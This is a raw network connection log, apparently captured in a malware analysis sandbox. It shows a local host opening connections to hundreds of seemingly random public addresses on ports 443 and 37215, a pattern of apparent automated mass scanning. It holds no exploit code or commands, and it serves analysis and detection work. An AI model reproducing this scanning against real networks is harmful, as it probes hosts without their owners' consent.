Oct 14, 2024 17:30:12.919153929 CEST	54042	443	192.168.2.14	2.141.70.136
Oct 14, 2024 17:30:12.919167042 CEST	54042	443	192.168.2.14	37.72.89.67
Oct 14, 2024 17:30:12.919173956 CEST	54042	443	192.168.2.14	178.111.100.89
Oct 14, 2024 17:30:12.919177055 CEST	54042	443	192.168.2.14	79.13.124.107
Oct 14, 2024 17:30:12.919181108 CEST	54042	443	192.168.2.14	117.151.209.35
Oct 14, 2024 17:30:12.919189930 CEST	54042	443	192.168.2.14	37.158.34.44
Oct 14, 2024 17:30:12.919198990 CEST	54042	443	192.168.2.14	148.128.15.115
Oct 14, 2024 17:30:12.919212103 CEST	54042	443	192.168.2.14	118.165.140.1
Oct 14, 2024 17:30:12.919224024 CEST	54042	443	192.168.2.14	178.154.103.200
Oct 14, 2024 17:30:12.919228077 CEST	54042	443	192.168.2.14	123.11.142.221
Oct 14, 2024 17:30:12.919236898 CEST	54042	443	192.168.2.14	148.196.250.145
Oct 14, 2024 17:30:12.919241905 CEST	54042	443	192.168.2.14	210.233.11.180
Oct 14, 2024 17:30:12.919248104 CEST	54042	443	192.168.2.14	37.61.213.3
Oct 14, 2024 17:30:12.919261932 CEST	54042	443	192.168.2.14	5.194.153.174
Oct 14, 2024 17:30:12.919264078 CEST	54042	443	192.168.2.14	2.255.151.254
Oct 14, 2024 17:30:12.919264078 CEST	54042	443	192.168.2.14	117.202.29.39
Oct 14, 2024 17:30:12.919279099 CEST	54042	443	192.168.2.14	37.150.221.21
Oct 14, 2024 17:30:12.919287920 CEST	54042	443	192.168.2.14	212.40.231.26
Oct 14, 2024 17:30:12.919295073 CEST	54042	443	192.168.2.14	212.170.207.15
Oct 14, 2024 17:30:12.919301987 CEST	54042	443	192.168.2.14	79.64.139.213
Oct 14, 2024 17:30:12.919315100 CEST	54042	443	192.168.2.14	123.6.231.191
Oct 14, 2024 17:30:12.919315100 CEST	54042	443	192.168.2.14	79.244.171.137
Oct 14, 2024 17:30:12.919331074 CEST	54042	443	192.168.2.14	202.186.135.128
Oct 14, 2024 17:30:12.919334888 CEST	54042	443	192.168.2.14	202.236.0.57
Oct 14, 2024 17:30:12.919348001 CEST	54042	443	192.168.2.14	118.147.141.22
Oct 14, 2024 17:30:12.919352055 CEST	54042	443	192.168.2.14	148.34.44.253
Oct 14, 2024 17:30:12.919364929 CEST	54042	443	192.168.2.14	202.110.170.45
Oct 14, 2024 17:30:12.919365883 CEST	54042	443	192.168.2.14	79.18.140.37
Oct 14, 2024 17:30:12.919369936 CEST	54042	443	192.168.2.14	212.142.214.62
Oct 14, 2024 17:30:12.919373989 CEST	54042	443	192.168.2.14	37.35.145.112
Oct 14, 2024 17:30:12.919378042 CEST	54042	443	192.168.2.14	5.164.254.240
Oct 14, 2024 17:30:12.919399023 CEST	54042	443	192.168.2.14	210.249.175.98
Oct 14, 2024 17:30:12.919399023 CEST	54042	443	192.168.2.14	79.77.86.181
Oct 14, 2024 17:30:12.919400930 CEST	54042	443	192.168.2.14	109.178.144.249
Oct 14, 2024 17:30:12.919405937 CEST	54042	443	192.168.2.14	42.204.176.56
Oct 14, 2024 17:30:12.919419050 CEST	54042	443	192.168.2.14	2.56.144.216
Oct 14, 2024 17:30:12.919428110 CEST	54042	443	192.168.2.14	5.15.64.37
Oct 14, 2024 17:30:12.919436932 CEST	54042	443	192.168.2.14	210.129.20.185
Oct 14, 2024 17:30:12.919436932 CEST	54042	443	192.168.2.14	210.212.73.107
Oct 14, 2024 17:30:12.919451952 CEST	54042	443	192.168.2.14	42.218.243.114
Oct 14, 2024 17:30:12.919456005 CEST	54042	443	192.168.2.14	202.58.20.190
Oct 14, 2024 17:30:12.919460058 CEST	54042	443	192.168.2.14	202.208.71.176
Oct 14, 2024 17:30:12.919475079 CEST	54042	443	192.168.2.14	148.50.186.242
Oct 14, 2024 17:30:12.919477940 CEST	54042	443	192.168.2.14	117.211.52.116
Oct 14, 2024 17:30:12.919488907 CEST	54042	443	192.168.2.14	118.69.51.170
Oct 14, 2024 17:30:12.919488907 CEST	54042	443	192.168.2.14	42.164.248.114
Oct 14, 2024 17:30:12.919504881 CEST	54042	443	192.168.2.14	5.112.146.38
Oct 14, 2024 17:30:12.919507980 CEST	54042	443	192.168.2.14	210.31.83.41
Oct 14, 2024 17:30:12.919507980 CEST	54042	443	192.168.2.14	2.30.246.90
Oct 14, 2024 17:30:12.919519901 CEST	54042	443	192.168.2.14	202.75.174.175
Oct 14, 2024 17:30:12.919519901 CEST	54042	443	192.168.2.14	42.145.123.3
Oct 14, 2024 17:30:12.919532061 CEST	54042	443	192.168.2.14	5.255.123.69
Oct 14, 2024 17:30:12.919533014 CEST	54042	443	192.168.2.14	79.65.180.219
Oct 14, 2024 17:30:12.919538021 CEST	54042	443	192.168.2.14	202.154.173.124
Oct 14, 2024 17:30:12.919550896 CEST	54042	443	192.168.2.14	178.228.109.232
Oct 14, 2024 17:30:12.919557095 CEST	54042	443	192.168.2.14	123.229.100.128
Oct 14, 2024 17:30:12.919558048 CEST	54042	443	192.168.2.14	42.58.140.226
Oct 14, 2024 17:30:12.919564009 CEST	54042	443	192.168.2.14	202.192.50.144
Oct 14, 2024 17:30:12.919569016 CEST	54042	443	192.168.2.14	2.29.169.153
Oct 14, 2024 17:30:12.919569969 CEST	54042	443	192.168.2.14	212.237.0.64
Oct 14, 2024 17:30:12.919576883 CEST	54042	443	192.168.2.14	210.80.124.240
Oct 14, 2024 17:30:12.919584990 CEST	37215	53014	156.90.211.100	192.168.2.14
Oct 14, 2024 17:30:12.919590950 CEST	54042	443	192.168.2.14	117.44.108.69
Oct 14, 2024 17:30:12.919596910 CEST	54042	443	192.168.2.14	42.199.124.42
Oct 14, 2024 17:30:12.919608116 CEST	54042	443	192.168.2.14	178.135.50.100
Oct 14, 2024 17:30:12.919610023 CEST	54042	443	192.168.2.14	148.41.32.98
Oct 14, 2024 17:30:12.919610023 CEST	54042	443	192.168.2.14	178.137.64.118
Oct 14, 2024 17:30:12.919612885 CEST	54042	443	192.168.2.14	42.251.44.38
Oct 14, 2024 17:30:12.919630051 CEST	54042	443	192.168.2.14	37.252.90.142
Oct 14, 2024 17:30:12.919630051 CEST	54042	443	192.168.2.14	148.180.82.20
Oct 14, 2024 17:30:12.919634104 CEST	54042	443	192.168.2.14	202.118.94.15
Oct 14, 2024 17:30:12.919639111 CEST	54042	443	192.168.2.14	37.54.63.207
Oct 14, 2024 17:30:12.919641018 CEST	53014	37215	192.168.2.14	156.90.211.100
Oct 14, 2024 17:30:12.919648886 CEST	54042	443	192.168.2.14	123.184.229.156
Oct 14, 2024 17:30:12.919653893 CEST	54042	443	192.168.2.14	42.92.111.255
Oct 14, 2024 17:30:12.919661999 CEST	54042	443	192.168.2.14	178.89.47.218
Oct 14, 2024 17:30:12.919661999 CEST	54042	443	192.168.2.14	118.211.234.36
Oct 14, 2024 17:30:12.919666052 CEST	54042	443	192.168.2.14	118.13.45.3
Oct 14, 2024 17:30:12.919675112 CEST	54042	443	192.168.2.14	117.220.111.250
Oct 14, 2024 17:30:12.919686079 CEST	54042	443	192.168.2.14	94.6.3.95
Oct 14, 2024 17:30:12.919687986 CEST	54042	443	192.168.2.14	79.146.37.76
Oct 14, 2024 17:30:12.919698000 CEST	54042	443	192.168.2.14	178.161.49.17
Oct 14, 2024 17:30:12.919701099 CEST	54042	443	192.168.2.14	5.127.114.217
Oct 14, 2024 17:30:12.919708967 CEST	54042	443	192.168.2.14	109.151.30.29
Oct 14, 2024 17:30:12.919718027 CEST	54042	443	192.168.2.14	212.245.135.246
Oct 14, 2024 17:30:12.919718981 CEST	54042	443	192.168.2.14	210.44.22.77
Oct 14, 2024 17:30:12.919728994 CEST	54042	443	192.168.2.14	178.184.76.9
Oct 14, 2024 17:30:12.919735909 CEST	54042	443	192.168.2.14	123.11.123.133
Oct 14, 2024 17:30:12.919748068 CEST	54042	443	192.168.2.14	202.38.245.118
Oct 14, 2024 17:30:12.919750929 CEST	54042	443	192.168.2.14	117.203.57.204
Oct 14, 2024 17:30:12.919765949 CEST	54042	443	192.168.2.14	79.64.75.132
Oct 14, 2024 17:30:12.919769049 CEST	54042	443	192.168.2.14	117.196.136.52
Oct 14, 2024 17:30:12.919775009 CEST	54042	443	192.168.2.14	178.41.24.27
Oct 14, 2024 17:30:12.919776917 CEST	54042	443	192.168.2.14	94.50.68.13
Oct 14, 2024 17:30:12.919785976 CEST	54042	443	192.168.2.14	79.157.56.80
Oct 14, 2024 17:30:12.919800997 CEST	54042	443	192.168.2.14	123.223.218.105
Oct 14, 2024 17:30:12.919801950 CEST	54042	443	192.168.2.14	118.160.26.197
Oct 14, 2024 17:30:12.919801950 CEST	54042	443	192.168.2.14	212.123.17.146
Oct 14, 2024 17:30:12.919806004 CEST	54042	443	192.168.2.14	79.138.50.35
Oct 14, 2024 17:30:12.919812918 CEST	54042	443	192.168.2.14	42.91.106.83
Oct 14, 2024 17:30:12.919821024 CEST	54042	443	192.168.2.14	79.52.213.33
Oct 14, 2024 17:30:12.919821024 CEST	54042	443	192.168.2.14	117.248.128.176
Oct 14, 2024 17:30:12.919838905 CEST	54042	443	192.168.2.14	202.11.137.32
Oct 14, 2024 17:30:12.919842958 CEST	53786	37215	192.168.2.14	156.71.40.117
Oct 14, 2024 17:30:12.919842958 CEST	54042	443	192.168.2.14	210.47.233.103
Oct 14, 2024 17:30:12.919846058 CEST	53786	37215	192.168.2.14	197.86.116.237
Oct 14, 2024 17:30:12.919847965 CEST	54042	443	192.168.2.14	210.154.196.97
Oct 14, 2024 17:30:12.919852972 CEST	54042	443	192.168.2.14	37.193.90.136
Oct 14, 2024 17:30:12.919864893 CEST	53786	37215	192.168.2.14	197.158.3.101
Oct 14, 2024 17:30:12.919866085 CEST	54042	443	192.168.2.14	118.81.223.190
Oct 14, 2024 17:30:12.919867039 CEST	54042	443	192.168.2.14	37.64.220.40
Oct 14, 2024 17:30:12.919867039 CEST	54042	443	192.168.2.14	212.161.39.209
Oct 14, 2024 17:30:12.919867039 CEST	53786	37215	192.168.2.14	156.5.171.95
Oct 14, 2024 17:30:12.919874907 CEST	54042	443	192.168.2.14	94.37.102.15
Oct 14, 2024 17:30:12.919882059 CEST	53786	37215	192.168.2.14	197.140.105.95
Oct 14, 2024 17:30:12.919884920 CEST	54042	443	192.168.2.14	37.183.65.2
Oct 14, 2024 17:30:12.919897079 CEST	53786	37215	192.168.2.14	197.141.243.70
Oct 14, 2024 17:30:12.919897079 CEST	53786	37215	192.168.2.14	156.44.207.108
Oct 14, 2024 17:30:12.919897079 CEST	54042	443	192.168.2.14	210.36.230.142
Oct 14, 2024 17:30:12.919898033 CEST	53786	37215	192.168.2.14	156.158.203.188
Oct 14, 2024 17:30:12.919899940 CEST	53786	37215	192.168.2.14	156.57.25.102
Oct 14, 2024 17:30:12.919899940 CEST	54042	443	192.168.2.14	5.112.14.118
Oct 14, 2024 17:30:12.919899940 CEST	53786	37215	192.168.2.14	41.170.246.221
Oct 14, 2024 17:30:12.919899940 CEST	54042	443	192.168.2.14	118.111.186.60
Oct 14, 2024 17:30:12.919905901 CEST	54042	443	192.168.2.14	178.180.133.174
Oct 14, 2024 17:30:12.919909000 CEST	53786	37215	192.168.2.14	156.76.186.225
Oct 14, 2024 17:30:12.919910908 CEST	54042	443	192.168.2.14	178.136.30.214
Oct 14, 2024 17:30:12.919914007 CEST	54042	443	192.168.2.14	79.205.215.188
Oct 14, 2024 17:30:12.919914007 CEST	53786	37215	192.168.2.14	156.202.45.192
Oct 14, 2024 17:30:12.919925928 CEST	54042	443	192.168.2.14	118.117.170.15
Oct 14, 2024 17:30:12.919929981 CEST	53786	37215	192.168.2.14	197.123.138.28
Oct 14, 2024 17:30:12.919930935 CEST	53786	37215	192.168.2.14	197.76.33.115
Oct 14, 2024 17:30:12.919940948 CEST	53786	37215	192.168.2.14	197.229.132.101
Oct 14, 2024 17:30:12.919941902 CEST	53786	37215	192.168.2.14	41.216.130.190
Oct 14, 2024 17:30:12.919941902 CEST	53786	37215	192.168.2.14	41.41.145.116
Oct 14, 2024 17:30:12.919941902 CEST	54042	443	192.168.2.14	117.169.232.81
Oct 14, 2024 17:30:12.919943094 CEST	54042	443	192.168.2.14	210.0.137.137
Oct 14, 2024 17:30:12.919943094 CEST	53786	37215	192.168.2.14	156.251.37.174
Oct 14, 2024 17:30:12.919950008 CEST	53786	37215	192.168.2.14	197.151.99.198
Oct 14, 2024 17:30:12.919951916 CEST	54042	443	192.168.2.14	109.20.97.155
Oct 14, 2024 17:30:12.919964075 CEST	54042	443	192.168.2.14	2.152.38.41
Oct 14, 2024 17:30:12.919966936 CEST	53786	37215	192.168.2.14	156.134.30.219
Oct 14, 2024 17:30:12.919975042 CEST	53786	37215	192.168.2.14	156.179.149.58
Oct 14, 2024 17:30:12.919980049 CEST	54042	443	192.168.2.14	202.72.57.142
Oct 14, 2024 17:30:12.919985056 CEST	54042	443	192.168.2.14	2.126.137.11
Oct 14, 2024 17:30:12.919991016 CEST	53786	37215	192.168.2.14	156.74.176.2
Oct 14, 2024 17:30:12.919990063 CEST	53786	37215	192.168.2.14	156.41.173.33
Oct 14, 2024 17:30:12.919997931 CEST	54042	443	192.168.2.14	42.136.107.9
Oct 14, 2024 17:30:12.920006990 CEST	53786	37215	192.168.2.14	41.232.90.108
Oct 14, 2024 17:30:12.920012951 CEST	54042	443	192.168.2.14	117.99.180.225
Oct 14, 2024 17:30:12.920018911 CEST	54042	443	192.168.2.14	118.156.163.126
Oct 14, 2024 17:30:12.920018911 CEST	54042	443	192.168.2.14	42.64.136.251
Oct 14, 2024 17:30:12.920023918 CEST	54042	443	192.168.2.14	210.148.226.5
Oct 14, 2024 17:30:12.920023918 CEST	54042	443	192.168.2.14	2.251.240.24
Oct 14, 2024 17:30:12.920027971 CEST	54042	443	192.168.2.14	178.2.97.118
Oct 14, 2024 17:30:12.920027971 CEST	54042	443	192.168.2.14	94.140.185.81
Oct 14, 2024 17:30:12.920027971 CEST	54042	443	192.168.2.14	94.57.220.62
Oct 14, 2024 17:30:12.920037031 CEST	54042	443	192.168.2.14	5.65.48.147
Oct 14, 2024 17:30:12.920037031 CEST	53786	37215	192.168.2.14	197.65.89.198
Oct 14, 2024 17:30:12.920037985 CEST	54042	443	192.168.2.14	118.232.14.0
Oct 14, 2024 17:30:12.920047045 CEST	54042	443	192.168.2.14	2.149.114.190
Oct 14, 2024 17:30:12.920048952 CEST	54042	443	192.168.2.14	109.112.139.17
Oct 14, 2024 17:30:12.920051098 CEST	54042	443	192.168.2.14	117.133.203.196
Oct 14, 2024 17:30:12.920062065 CEST	53786	37215	192.168.2.14	197.177.121.120
Oct 14, 2024 17:30:12.920062065 CEST	54042	443	192.168.2.14	118.245.54.108
Oct 14, 2024 17:30:12.920066118 CEST	53786	37215	192.168.2.14	156.108.76.210
Oct 14, 2024 17:30:12.920066118 CEST	54042	443	192.168.2.14	109.162.227.23
Oct 14, 2024 17:30:12.920075893 CEST	54042	443	192.168.2.14	148.84.65.162
Oct 14, 2024 17:30:12.920082092 CEST	54042	443	192.168.2.14	210.64.194.251
Oct 14, 2024 17:30:12.920090914 CEST	54042	443	192.168.2.14	210.213.145.58
Oct 14, 2024 17:30:12.920099020 CEST	53786	37215	192.168.2.14	41.171.63.128
Oct 14, 2024 17:30:12.920100927 CEST	53786	37215	192.168.2.14	197.39.222.104
Oct 14, 2024 17:30:12.920100927 CEST	53786	37215	192.168.2.14	41.53.194.67
Oct 14, 2024 17:30:12.920100927 CEST	53786	37215	192.168.2.14	156.183.18.214
Oct 14, 2024 17:30:12.920110941 CEST	53786	37215	192.168.2.14	156.64.200.201
Oct 14, 2024 17:30:12.920110941 CEST	53786	37215	192.168.2.14	197.156.115.112
Oct 14, 2024 17:30:12.920110941 CEST	53786	37215	192.168.2.14	156.214.111.166
Oct 14, 2024 17:30:12.920110941 CEST	53786	37215	192.168.2.14	41.16.199.103
Oct 14, 2024 17:30:12.920118093 CEST	53786	37215	192.168.2.14	156.201.70.188
Oct 14, 2024 17:30:12.920119047 CEST	54042	443	192.168.2.14	109.33.212.233
Oct 14, 2024 17:30:12.920129061 CEST	54042	443	192.168.2.14	37.186.192.51
Oct 14, 2024 17:30:12.920129061 CEST	53786	37215	192.168.2.14	41.78.54.180
Oct 14, 2024 17:30:12.920130014 CEST	53786	37215	192.168.2.14	156.79.239.79
Oct 14, 2024 17:30:12.920133114 CEST	54042	443	192.168.2.14	5.228.140.132
Oct 14, 2024 17:30:12.920144081 CEST	53786	37215	192.168.2.14	197.206.105.21
Oct 14, 2024 17:30:12.920149088 CEST	54042	443	192.168.2.14	42.139.59.93
Oct 14, 2024 17:30:12.920149088 CEST	53786	37215	192.168.2.14	197.68.154.189
Oct 14, 2024 17:30:12.920149088 CEST	54042	443	192.168.2.14	94.138.254.147
Oct 14, 2024 17:30:12.920151949 CEST	53786	37215	192.168.2.14	197.54.236.65
Oct 14, 2024 17:30:12.920155048 CEST	54042	443	192.168.2.14	202.237.37.144
Oct 14, 2024 17:30:12.920157909 CEST	53786	37215	192.168.2.14	41.78.234.108
Oct 14, 2024 17:30:12.920157909 CEST	54042	443	192.168.2.14	178.232.156.25
Oct 14, 2024 17:30:12.920166016 CEST	53786	37215	192.168.2.14	156.104.130.37
Oct 14, 2024 17:30:12.920172930 CEST	53786	37215	192.168.2.14	197.161.129.41
Oct 14, 2024 17:30:12.920172930 CEST	53786	37215	192.168.2.14	41.118.165.227
Oct 14, 2024 17:30:12.920186996 CEST	54042	443	192.168.2.14	79.221.190.186
Oct 14, 2024 17:30:12.920186996 CEST	53786	37215	192.168.2.14	156.10.129.33
Oct 14, 2024 17:30:12.920186996 CEST	53786	37215	192.168.2.14	41.216.20.95
Oct 14, 2024 17:30:12.920192957 CEST	53786	37215	192.168.2.14	197.3.67.15
Oct 14, 2024 17:30:12.920192957 CEST	53786	37215	192.168.2.14	41.189.127.155
Oct 14, 2024 17:30:12.920197010 CEST	54042	443	192.168.2.14	178.9.89.180
Oct 14, 2024 17:30:12.920202971 CEST	54042	443	192.168.2.14	212.19.135.163
Oct 14, 2024 17:30:12.920202971 CEST	53786	37215	192.168.2.14	41.177.77.84
Oct 14, 2024 17:30:12.920203924 CEST	54042	443	192.168.2.14	117.27.238.64
Oct 14, 2024 17:30:12.920212984 CEST	53786	37215	192.168.2.14	156.146.161.241
Oct 14, 2024 17:30:12.920217991 CEST	54042	443	192.168.2.14	178.107.78.70
Oct 14, 2024 17:30:12.920218945 CEST	54042	443	192.168.2.14	37.191.10.224
Oct 14, 2024 17:30:12.920227051 CEST	54042	443	192.168.2.14	148.102.107.89
Oct 14, 2024 17:30:12.920227051 CEST	53786	37215	192.168.2.14	41.19.65.99
Oct 14, 2024 17:30:12.920227051 CEST	53786	37215	192.168.2.14	197.68.152.56
Oct 14, 2024 17:30:12.920233011 CEST	53786	37215	192.168.2.14	197.49.212.99
Oct 14, 2024 17:30:12.920247078 CEST	54042	443	192.168.2.14	178.254.114.109
Oct 14, 2024 17:30:12.920248985 CEST	54042	443	192.168.2.14	117.141.59.198
Oct 14, 2024 17:30:12.920248985 CEST	54042	443	192.168.2.14	79.74.197.219
Oct 14, 2024 17:30:12.920248985 CEST	54042	443	192.168.2.14	117.73.248.10
Oct 14, 2024 17:30:12.920262098 CEST	54042	443	192.168.2.14	148.201.255.36
Oct 14, 2024 17:30:12.920268059 CEST	53786	37215	192.168.2.14	197.107.19.202
Oct 14, 2024 17:30:12.920272112 CEST	54042	443	192.168.2.14	118.71.134.68
Oct 14, 2024 17:30:12.920278072 CEST	54042	443	192.168.2.14	79.55.154.164
Oct 14, 2024 17:30:12.920278072 CEST	53786	37215	192.168.2.14	197.244.123.242
Oct 14, 2024 17:30:12.920286894 CEST	53786	37215	192.168.2.14	156.181.158.147
Oct 14, 2024 17:30:12.920290947 CEST	53786	37215	192.168.2.14	156.232.116.25
Oct 14, 2024 17:30:12.920298100 CEST	54042	443	192.168.2.14	212.123.43.142
Oct 14, 2024 17:30:12.920305014 CEST	53786	37215	192.168.2.14	156.13.255.238
Oct 14, 2024 17:30:12.920306921 CEST	53786	37215	192.168.2.14	156.194.35.120
Oct 14, 2024 17:30:12.920310974 CEST	53786	37215	192.168.2.14	156.108.223.20
Oct 14, 2024 17:30:12.920316935 CEST	53786	37215	192.168.2.14	197.214.92.208
Oct 14, 2024 17:30:12.920316935 CEST	53786	37215	192.168.2.14	197.19.149.232
Oct 14, 2024 17:30:12.920317888 CEST	54042	443	192.168.2.14	42.100.191.20
Oct 14, 2024 17:30:12.920319080 CEST	53786	37215	192.168.2.14	41.178.159.43
Oct 14, 2024 17:30:12.920326948 CEST	54042	443	192.168.2.14	117.129.116.24
Oct 14, 2024 17:30:12.920326948 CEST	53786	37215	192.168.2.14	156.127.7.169
Oct 14, 2024 17:30:12.920326948 CEST	54042	443	192.168.2.14	178.193.175.28
Oct 14, 2024 17:30:12.920334101 CEST	54042	443	192.168.2.14	212.106.166.236
Oct 14, 2024 17:30:12.920337915 CEST	54042	443	192.168.2.14	109.104.47.104
Oct 14, 2024 17:30:12.920356989 CEST	54042	443	192.168.2.14	5.104.152.205
Oct 14, 2024 17:30:12.920361042 CEST	54042	443	192.168.2.14	212.209.29.213
Oct 14, 2024 17:30:12.920362949 CEST	53786	37215	192.168.2.14	41.10.81.106
Oct 14, 2024 17:30:12.920362949 CEST	54042	443	192.168.2.14	5.216.118.89
Oct 14, 2024 17:30:12.920368910 CEST	54042	443	192.168.2.14	94.183.227.8
Oct 14, 2024 17:30:12.920368910 CEST	54042	443	192.168.2.14	117.73.117.112
Oct 14, 2024 17:30:12.920372963 CEST	54042	443	192.168.2.14	2.191.68.93
Oct 14, 2024 17:30:12.920376062 CEST	53786	37215	192.168.2.14	156.62.110.219
Oct 14, 2024 17:30:12.920382977 CEST	53786	37215	192.168.2.14	41.58.236.238
Oct 14, 2024 17:30:12.920386076 CEST	53786	37215	192.168.2.14	197.87.148.37
Oct 14, 2024 17:30:12.920388937 CEST	54042	443	192.168.2.14	118.139.104.50
Oct 14, 2024 17:30:12.920388937 CEST	54042	443	192.168.2.14	210.77.67.138
Oct 14, 2024 17:30:12.920393944 CEST	53786	37215	192.168.2.14	197.247.21.175
Oct 14, 2024 17:30:12.920397043 CEST	53786	37215	192.168.2.14	156.137.215.67
Oct 14, 2024 17:30:12.920397043 CEST	53786	37215	192.168.2.14	197.244.144.15
Oct 14, 2024 17:30:12.920397997 CEST	54042	443	192.168.2.14	117.87.79.103
Oct 14, 2024 17:30:12.920397997 CEST	53786	37215	192.168.2.14	197.213.158.216
Oct 14, 2024 17:30:12.920403957 CEST	53786	37215	192.168.2.14	197.199.52.106
Oct 14, 2024 17:30:12.920412064 CEST	53786	37215	192.168.2.14	197.164.188.0
Oct 14, 2024 17:30:12.920420885 CEST	53786	37215	192.168.2.14	41.19.15.100
Oct 14, 2024 17:30:12.920434952 CEST	53786	37215	192.168.2.14	41.216.178.73
Oct 14, 2024 17:30:12.920435905 CEST	53786	37215	192.168.2.14	197.246.78.175
Oct 14, 2024 17:30:12.920435905 CEST	53786	37215	192.168.2.14	197.5.168.113
Oct 14, 2024 17:30:12.920449018 CEST	53786	37215	192.168.2.14	41.219.214.44
Oct 14, 2024 17:30:12.920456886 CEST	53786	37215	192.168.2.14	41.158.28.206
Oct 14, 2024 17:30:12.920471907 CEST	53786	37215	192.168.2.14	41.235.54.141
Oct 14, 2024 17:30:12.920479059 CEST	53786	37215	192.168.2.14	197.191.88.210
Oct 14, 2024 17:30:12.920480013 CEST	53786	37215	192.168.2.14	41.32.194.220
Oct 14, 2024 17:30:12.920483112 CEST	53786	37215	192.168.2.14	197.97.249.147
Oct 14, 2024 17:30:12.920488119 CEST	53786	37215	192.168.2.14	41.18.138.148
Oct 14, 2024 17:30:12.920502901 CEST	53786	37215	192.168.2.14	41.119.125.149
Oct 14, 2024 17:30:12.920506001 CEST	53786	37215	192.168.2.14	197.146.246.157
Oct 14, 2024 17:30:12.920509100 CEST	53786	37215	192.168.2.14	156.83.134.149
Oct 14, 2024 17:30:12.920520067 CEST	53786	37215	192.168.2.14	41.173.125.171
Oct 14, 2024 17:30:12.920526028 CEST	53786	37215	192.168.2.14	41.76.124.238
Oct 14, 2024 17:30:12.920538902 CEST	53786	37215	192.168.2.14	197.202.85.29
Oct 14, 2024 17:30:12.920540094 CEST	53786	37215	192.168.2.14	156.74.98.122
Oct 14, 2024 17:30:12.920552969 CEST	53786	37215	192.168.2.14	156.134.164.209
Oct 14, 2024 17:30:12.920555115 CEST	53786	37215	192.168.2.14	156.85.105.122
Oct 14, 2024 17:30:12.920559883 CEST	53786	37215	192.168.2.14	197.150.115.237
Oct 14, 2024 17:30:12.920569897 CEST	53786	37215	192.168.2.14	156.203.183.236
Oct 14, 2024 17:30:12.920583010 CEST	53786	37215	192.168.2.14	197.31.39.8
Oct 14, 2024 17:30:12.920587063 CEST	53786	37215	192.168.2.14	41.207.20.145
Oct 14, 2024 17:30:12.920589924 CEST	53786	37215	192.168.2.14	156.115.43.67
Oct 14, 2024 17:30:12.920598984 CEST	53786	37215	192.168.2.14	197.251.16.65
Oct 14, 2024 17:30:12.920603991 CEST	53786	37215	192.168.2.14	197.242.130.99
Oct 14, 2024 17:30:12.920608044 CEST	53786	37215	192.168.2.14	156.220.231.230
Oct 14, 2024 17:30:12.920619011 CEST	53786	37215	192.168.2.14	41.242.69.71
Oct 14, 2024 17:30:12.920619011 CEST	53786	37215	192.168.2.14	41.165.119.174
Oct 14, 2024 17:30:12.920619965 CEST	53786	37215	192.168.2.14	41.130.166.203
Oct 14, 2024 17:30:12.920639992 CEST	53786	37215	192.168.2.14	197.194.87.85
Oct 14, 2024 17:30:12.920653105 CEST	53786	37215	192.168.2.14	156.222.32.173
Oct 14, 2024 17:30:12.920654058 CEST	53786	37215	192.168.2.14	197.168.145.8
Oct 14, 2024 17:30:12.920654058 CEST	53786	37215	192.168.2.14	41.123.183.248
Oct 14, 2024 17:30:12.920663118 CEST	53786	37215	192.168.2.14	156.104.135.149
Oct 14, 2024 17:30:12.920671940 CEST	53786	37215	192.168.2.14	156.166.76.1
Oct 14, 2024 17:30:12.920677900 CEST	53786	37215	192.168.2.14	156.184.55.71
Oct 14, 2024 17:30:12.920690060 CEST	53786	37215	192.168.2.14	41.236.79.231
Oct 14, 2024 17:30:12.920705080 CEST	53786	37215	192.168.2.14	41.118.143.195
Oct 14, 2024 17:30:12.920711040 CEST	53786	37215	192.168.2.14	41.47.200.85
Oct 14, 2024 17:30:12.920722008 CEST	53786	37215	192.168.2.14	41.154.157.2
Oct 14, 2024 17:30:12.920722961 CEST	53786	37215	192.168.2.14	197.90.179.189
Oct 14, 2024 17:30:12.920732021 CEST	53786	37215	192.168.2.14	197.247.71.31
Oct 14, 2024 17:30:12.920741081 CEST	53786	37215	192.168.2.14	156.192.195.12
Oct 14, 2024 17:30:12.920742035 CEST	53786	37215	192.168.2.14	197.223.221.238
Oct 14, 2024 17:30:12.920758009 CEST	53786	37215	192.168.2.14	156.48.126.204
Oct 14, 2024 17:30:12.920770884 CEST	53786	37215	192.168.2.14	197.195.176.3
Oct 14, 2024 17:30:12.920778990 CEST	53786	37215	192.168.2.14	41.84.251.187
Oct 14, 2024 17:30:12.920783997 CEST	53786	37215	192.168.2.14	197.2.164.181
Oct 14, 2024 17:30:12.920794010 CEST	53786	37215	192.168.2.14	41.110.51.160
Oct 14, 2024 17:30:12.920798063 CEST	53786	37215	192.168.2.14	197.240.110.255
Oct 14, 2024 17:30:12.920809031 CEST	53786	37215	192.168.2.14	156.204.30.93
Oct 14, 2024 17:30:12.920810938 CEST	53786	37215	192.168.2.14	41.91.225.55
Oct 14, 2024 17:30:12.920814991 CEST	53786	37215	192.168.2.14	156.128.37.161
Oct 14, 2024 17:30:12.920814991 CEST	53786	37215	192.168.2.14	156.201.6.137
Oct 14, 2024 17:30:12.920830965 CEST	53786	37215	192.168.2.14	41.13.183.175
Oct 14, 2024 17:30:12.920834064 CEST	53786	37215	192.168.2.14	41.3.11.165
Oct 14, 2024 17:30:12.920841932 CEST	53786	37215	192.168.2.14	197.155.175.179
Oct 14, 2024 17:30:12.920851946 CEST	53786	37215	192.168.2.14	41.167.247.65
Oct 14, 2024 17:30:12.920851946 CEST	53786	37215	192.168.2.14	197.119.0.192
Oct 14, 2024 17:30:12.920865059 CEST	53786	37215	192.168.2.14	197.108.92.109
Oct 14, 2024 17:30:12.920865059 CEST	53786	37215	192.168.2.14	197.49.7.127
Oct 14, 2024 17:30:12.920876026 CEST	53786	37215	192.168.2.14	156.196.71.61
Oct 14, 2024 17:30:12.920878887 CEST	53786	37215	192.168.2.14	41.118.102.61
Oct 14, 2024 17:30:12.920893908 CEST	53786	37215	192.168.2.14	156.34.120.34
Oct 14, 2024 17:30:12.920893908 CEST	53786	37215	192.168.2.14	197.27.133.217
Oct 14, 2024 17:30:12.920907021 CEST	53786	37215	192.168.2.14	156.107.131.116
Oct 14, 2024 17:30:12.920911074 CEST	53786	37215	192.168.2.14	197.99.73.55
Oct 14, 2024 17:30:12.920918941 CEST	53786	37215	192.168.2.14	197.164.107.10
Oct 14, 2024 17:30:12.920928001 CEST	53786	37215	192.168.2.14	41.153.162.133
Oct 14, 2024 17:30:12.920939922 CEST	53786	37215	192.168.2.14	156.255.58.84
Oct 14, 2024 17:30:12.920942068 CEST	53786	37215	192.168.2.14	197.27.168.79
Oct 14, 2024 17:30:12.920953035 CEST	53786	37215	192.168.2.14	41.179.186.220
Oct 14, 2024 17:30:12.920955896 CEST	53786	37215	192.168.2.14	197.27.221.29
